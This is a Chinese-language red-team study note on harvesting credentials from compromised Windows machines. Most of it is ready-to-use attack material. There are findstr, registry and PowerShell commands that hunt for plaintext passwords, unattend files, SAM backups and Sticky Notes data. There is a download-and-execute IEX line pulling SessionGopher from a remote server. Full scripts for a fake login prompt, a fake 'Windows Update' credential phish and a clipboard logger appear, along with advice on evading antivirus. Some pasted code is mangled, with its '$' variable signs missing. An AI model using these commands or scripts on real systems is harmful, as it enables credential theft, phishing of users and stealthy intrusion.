1. 为什么需要获取目标的密码?
在红队行动中,获取密码通常不是为了"破解"而破解,而是为了突破当前的权限限制。
- 权限提升 :你当前可能只是一个普通的低权限用户(比如
User A),但你需要获取Administrator或SYSTEM权限才能执行关键操作。 - 横向移动:这是红队最核心的战术之一。用户往往会"密码复用"(比如域账号密码和本地管理员密码一样)。你拿到这台机器的密码,可能就能用它登录域控服务器或其他核心业务服务器。
- 维持权限:相比植入后门文件容易被杀毒软件查杀,利用合法的账号密码登录是最隐蔽的"后门"。
2. 获取密码有什么用?
结合书中的描述,主要用途如下:
- 利用"明文"漏洞 :书中提到"很多人会将网站、邮件或应用程序的密码设置为同一个"。一旦你在某个不起眼的配置文件(如
.txt,.ini,.config)里找到了明文密码,这把钥匙可能打开整个内网的大门。 - 免杀提权:通过收集到的密码,你可以尝试切换到高权限账户,从而绕过系统的安全限制。
- 数据窃取:获取敏感数据的访问权,这是红队演练中模拟"数据泄露"的关键步骤。
基础通用搜索命令
1.1
这个命令用于在当前目录及其所有子目录中,搜索特定后缀文件里包含"password"关键词的内容。
findstr /S /I /N /M "password" *.txt *.xml *.ini *.config *.asp *.php *.jsp *.html


1.2针对特定敏感文件的搜索

1.3也可以组合关键词的形式搜索类似的词
findstr /S /I /N "password pwd passwd secret key" *.*

1.4在实战中,最好使用这个过滤下
findstr /S /I "password" *.txt 2>nul
国内很多系统管理员为了方便识别,习惯将配置文件里的字段或者文件名直接写成中文拼音(比如 mima、yonghu),或者直接使用中文汉字。
findstr /S /I /N "mima" *.txt *.ini *.config *.xml *.asp *.php

1.5当然,有时一些人也会直接使用中文的"密码"
findstr /S /I /N "密码 账号 用户" *.txt *.ini *.config *.xml


1.6搜索包含"连接字符串"的文件:findstr /S /I "connectionstring" *.config
搜索包含"数据源"或1"服务器地址"的行(往往紧跟账号密码):findstr /S /I "datasource server" *.config
有些管理员会直接把文件命名为 password.txt,这种属于"送分题"。
dir /s *password*

1.7阶段三:查看文件内容(拿结果)
type +"文件路径"

1.8阶段四,使用 PowerShell 搜索
文件夹路径看实际情况
1.9全盘搜索(当前盘符)Get-ChildItem -Path $PWD -Recurse -Force -ErrorAction SilentlyContinue -Include "*password*"


2.0使用 where 命令(推荐)
where /R C:\ *password*.txt

2.1使用for循环搜索(不推荐)太多了emm
for /r c:\ %i in (*.txt) do @echo %i


2.2. 在注册表中寻找密码
reg query HKCU /f password /t REG_SZ /s

2.3注册表中的自动登录密码
原理:
有些管理员为了服务器重启后能自动进入桌面,或者为了方便,会在注册表中配置自动登录。这就导致管理员账号和密码(有时是明文,有时是加密数据)直接保存在注册表里。
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"


3.1无人值守文件
就是Windows系统安装时的"自动配置脚本"。管理员为了让几十台服务器自动安装系统,会把分区、激活码、网络设置,甚至管理员账号密码都写在这个脚本里。
目标文件:名字里带有 unattend(无人值守)或 sysprep(系统准备)的文件。
目标后缀:主要是 .xml 和 .inf 文件。
核心目的:这些文件是Windows系统批量安装时用的"自动配置脚本"。管理员为了省事,常把管理员密码写在里面。系统装好后,这些文件如果没被删除,就是巨大的安全隐患。
. 实战检查命令
dir C:\Windows\Panther\Unattend*.xml C:\Windows\System32\sysprep\sysprep*.xml C:\Windows\Panther\Unattend\*.xml /s


如果发现文件,直接查看内容:type +文件路径

方法一:cmd命令强制搜索
dir /s C:\*sysprep.inf C:\*sysprep.xml C:\*unattended.xml C:\*unattend.xml C:\*unattend.txt 2>nul

方法二
PowerShell 高级搜索
Get-ChildItem -Path C:\ -Include *unattend*, *sysprep* -File -Recurse -ErrorAction SilentlyContinue

4.0SAM文件(需要admin权限)
什么是SAM文件?
定义:SAM是Windows用来存储本地用户账号密码哈希的数据库文件。
位置:
正在使用的文件:位于 %SystemRoot%\system32\config\SAM。这个文件在系统运行时是被锁定的,普通用户无法直接复制。
备份文件(重点):位于 C:\Windows\repair\SAM。这是系统早期安装或修复时留下的备份。如果管理员没有清理,这个文件通常是可以直接读取的!
获取这个文件(C:\Windows\repair\SAM)以及配套的 SYSTEM 文件,是拿下管理员密码的关键一步。
你可以直接运行下面这条命令,一次性检查这两个核心文件是否存在:

5.1Windows 自带的"便笺"(Sticky Notes)
别小看这个功能,很多管理员为了图方便,会把数据库密码、后台登录密码直接写在便笺上贴在桌面上。虽然看起来是"隐藏"的,但实际上这些数据是以明文或简单加密的形式保存在硬盘里的。
SQLite 数据库文件。
路径:
%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
怎么获取这个文件?
dir %LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

没有的话换这个路径
dir C:\plum.sqlite C:\StickyNotes.snt /s /b 2>nul

5.2然后是获取应用中的密码
两种主流的方法:SessionGopher(PowerShell 脚本)和 LaZagne(开源工具)
powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1'); Invoke-SessionGopher -Thorough"

如果网络不好就尝试上传然后执行
下载然后保存为ps1然后执行即可
raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
建议保存在服务器然后内存加载执行

一行便捷命令
powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/123.ps1'); Invoke-SessionGopher -Thorough"
里面的路径替换为你的服务器路径即可
然后是第二种方法提取应用中的密码
使用LaZagne
直接从这里下载然后使用,按照readme使用即可
方便快捷,但是建议二开,下载的时候被拦截了很多次了,建议内存执行
PowerShell 历史记录查看
Get-Content (Get-PSReadlineOption).HistorySavePath




1. 凭据管理器是什么?
凭据管理器是 Windows 系统内置的一个"保险箱",专门用来安全地管理和存储用户的各种登录信息。
- 它存什么? 用户名、密码、证书等。
- 它分两类:
- Web 凭据:主要用于存储网站(如 Edge 浏览器)的登录账号密码。
- Windows 凭据:用于存储本地或网络资源的登录信息,包括自动登录凭据、基于证书的凭据、普通网络资源(如远程桌面、局域网共享文件夹)。
2. 它有什么用?为什么需要它?
- 自动登录:当你再次访问某个网站、连接远程桌面或访问局域网共享时,系统会自动从凭据管理器中调取之前保存的账号密码,帮你自动登录,不用每次都手动输入。
- 集中管理:所有保存的密码都集中存放在这里,方便用户统一查看、修改或删除。
- 安全存储:这些密码是经过加密存储的,比记在记事本或纸上要安全得多。
直接win搜索凭据管理器即可

然后是命令行打开命令行方式(黑客/渗透常用)
打开 cmd 命令提示符。
输入命令:cmdkey /list
效果:直接在黑窗口里列出所有保存的凭据目标(Target)和用户名。这是在无法使用鼠标或远程 Shell 环境下最有用的命令。

cmdkey /delete:TargetName
cmdkey /add:TargetName /user:Username /pass:Password
直接利用github中的链接提取凭证
如何从 Windows 凭据管理器中提取保存的密码,特别是通过 PowerShell 脚本 Invoke-WCMDump 来实现。
peewpw/Invoke-WCMDump: PowerShell Script to dump Windows Credentials from the Credential Manager
但是运行的时候发现不兼容,这个毕竟时间长了emm

6.1利用 Windows 的 Linux 子系统(WSL)来提权或查看 Linux 下的敏感文件
where /R c:\windows bash.exe

然后进行一系列命令
但是我没有安装这个,
Linux 的文件系统实际上就是存放在 Windows 硬盘里的。这给我们提供了一条"捷径"------即便无法通过 wsl 命令进入 Linux 环境,只要能在 Windows 里找到这个存储位置,就能直接读取里面的敏感文件(如 shadow)。
图片含义解析
6.1通过伪造电脑锁屏来诱骗用户获取密码
伪造锁屏本质上就是一场视觉欺骗。
- 表象:它看起来和 Windows 系统原生的锁屏界面(就是按 Win+L 键后出现的那个界面)一模一样,有背景图、有用户头像、有密码输入框。
- 真相 :它其实只是一个全屏运行的普通软件窗口。它并没有真的锁住电脑,后台原本打开的网页、文档都在正常运行,只是被这个假窗口盖住了而已。
- 工具 :书中提到的 SharpLocker 就是专门用来干这件事的工具。它是一个用 .NET 语言编写的程序,体积小,运行快。
为什么
黑客为什么要费尽心思搞这个?因为这是获取密码最快、最简单的方法。
- 绕过技术防御:现在的杀毒软件和防火墙很难拦截"用户主动输入密码"这个行为。
- 利用心理盲区 :
- 惯性思维:用户看到锁屏界面,下意识的反应就是"哦,锁屏了",然后输入密码,根本不会去想"这是不是假的"。
- 时机巧妙:通常是在用户离开座位回来,或者黑客远程控制了电脑并触发了这个假界面时。
- 比键盘记录器更稳:传统的键盘记录器(Keylogger)容易被杀毒软件查杀,而且记录下来的数据可能很乱(比如你按了退格键修改密码,记录器可能分不清)。而伪造锁屏直接拿到的是最终提交的字符串,准确率为 100%。
方式一
得编译很麻烦,不会所以换下一种方法
方式二
下载 FakeLogonScreen
Releases · bitsadmin/fakelogonscreen
然后解除压缩后使用即可


然后提取到的密码在可以看到
建议配合 Cobalt Strike 等工具
然后是方式三,钓鱼方式获取LockPhish --- 锁屏钓鱼攻击 - Kali Linux 教程
jaykali/lockphish:Lockphish 是首个(2020年7月4日)用于锁屏钓鱼攻击的工具,设计用于通过 https 链接获取 Windows 凭证、Android PIN 码和 iPhone 密码。 但是这个只能运行在linux中,使用方法如下图,先解压然后使用
首次使用需要下载内网穿透工具,ngrok,因为没学到所以暂时不用这个
7.1伪造登录框Invoke-LoginPrompt(建议二开,这个被查杀的很普遍)
Invoke-LoginPrompt/Invoke-LoginPrompt.ps1 at master ·enigma0x3/Invoke-LoginPrompt
下载后保存为ps1文件,然后尝试直接就行了,发现有兼容性问题
ai修复后的完整代码如下
<# .SYNOPSIS 修复版:Standalone Powershell script that will prompt the current user for valid credentials. Author: Matt Nelson (@enigma0x3) | Fixed by Assistant License: BSD 3-Clause #> # 定义函数 function Invoke-LoginPrompt { # --- 修复点 1:兼容 PowerShell v3+ 的参数传递 --- # 在 PowerShell v3+ 中,PromptForCredential 的第二个参数不能留空,必须传入字符串 # 原版代码中传入的是 "",在新版中会报错,必须传入类似 " " 的占位符 cred = Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "env:userdomain\\env:username", " ") username = "env:username" domain = "env:userdomain" full = "domain" + "\" + "username" password = cred.GetNetworkCredential().password # 加载验证组件 Add-Type -assemblyname System.DirectoryServices.AccountManagement DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) # 循环验证,直到输入正确密码 while(DS.ValidateCredentials("full", "password") -ne True){ # 提示错误并重新输入 cred = Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "env:userdomain\\env:username", " ") username = "env:username" domain = "env:userdomain" full = "domain" + "\" + "username" password = cred.GetNetworkCredential().password # 重新加载组件(虽然通常不需要重复加载,但为了逻辑清晰保留) Add-Type -assemblyname System.DirectoryServices.AccountManagement DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) # 验证(这一步其实可以省略,因为 while 条件里已经验证了) DS.ValidateCredentials("full", "password") \| out-null } # 输出结果 output = cred.GetNetworkCredential() \| select-object UserName, Domain, Password output } # --- 修复点 2:调用函数 --- # 原版代码缺少这一行,导致下载后执行没有反应 Invoke-LoginPrompt
执行后为
7.2
Nishang 框架中 Invoke-CredentialsPhish 的完整源代码(建议内存执行)
function Invoke-CredentialPhisher { # 加载必要的 .NET 类 Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # 创建通知图标 notify = New-Object System.Windows.Forms.NotifyIcon notify.Icon = [System.Drawing.SystemIcons]::WinLogo notify.Visible = true notify.BalloonTipIcon = \[System.Windows.Forms.TooltipIcon\]::Info notify.BalloonTipTitle = "Windows Update" notify.BalloonTipText = "Critical security update requires authentication." # 显示气泡通知 notify.ShowBalloonTip(3000) # 等待气泡出现 Start-Sleep -Seconds 2 do { # 弹出伪造的认证框 # 注意:这里我们只是模拟弹窗,实际并不验证密码对错 cred = Host.UI.PromptForCredential("Windows Security Update", "Please verify your account to complete the update.", "", "") if (cred) { # 提取密码 BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(cred.Password) PlainPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto(BSTR) # 【关键步骤】把密码打印到屏幕上! Write-Host "\[\*\] 捕获到凭证:" -ForegroundColor Green Write-Host " 用户名: (cred.UserName)" Write-Host " 密码: PlainPassword" Write-Host "----------------------------------------" # 释放内存 [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR(BSTR) } } while (true) # 无限循环,直到用户强制关闭 (Ctrl+C) } # 运行函数 Invoke-CredentialPhisher

经测试有效,不过这个会一直死循环的,后续改就行了
然后是方式三,这个更精确,推荐这个https://github.com/Dviros/CredsLeaker 这个需要有服务器才有效,具体看github上的readme。这里简短使用即可,建议方式二/方式一

8.0获取目标剪切板内容(ps不需要管理员权限)
Get-Clipboard
8.1直接使用powershell记录
定义一个日志文件路径,用来保存抓取到的内容(路径可以自定义,这里设为当前目录的 log.txt) LogPath = "PSScriptRoot\log.txt" # 定义一个函数,专门用来把内容写入日志文件 function Write-Log { param ( [string]Message ) # 获取当前时间 Time = Get-Date -Format "yyyy-MM-dd HH:mm:ss" # 组合时间和内容 Output = "\[Time] Message" # 将内容追加写入到日志文件中 Add-Content -Path LogPath -Value Output } # 初始化变量,用来记录上一次剪贴板的内容,防止重复记录 CurrentContent = "" # 开启无限循环,持续监控 while (true) { try { # 尝试获取剪贴板内容,-Raw 参数确保获取的是纯文本 NewContent = Get-Clipboard -Raw -ErrorAction Stop # 判断逻辑: # 1. 内容不为空 # 2. 内容长度大于2(防止复制单个字符就记录) # 3. 内容和上一次记录的不一样 if (NewContent -and NewContent.Length -gt 2 -and NewContent -ne CurrentContent) { # 调用写入日志函数 Write-Log -Message NewContent # 更新当前记录的内容,作为下一次对比的基准 CurrentContent = $NewContent } } catch { # 如果获取失败(比如剪贴板被图片占用),则忽略错误,继续循环 } # 暂停 1 秒钟再检查下一次,防止 CPU 占用过高 Start-Sleep -Seconds 1 }
这个是写入日志中,后续可以改为其他路径或者通过其他方式传递

9.0使用渗透框架获取-没有学到-暂时不写,后续可以学完powershell再说
10.0获取文件签名的github的
secretsquirrel/SigThief: Stealing Signatures and Making One Invalid Signature at a Time
11.0 获取浏览器的账号密码(已经保存的)
EdgeSavedPasswordsDumper/EdgeSavedPasswordsDumper at main · L1v1ng0ffTh3L4N/EdgeSavedPasswordsDumper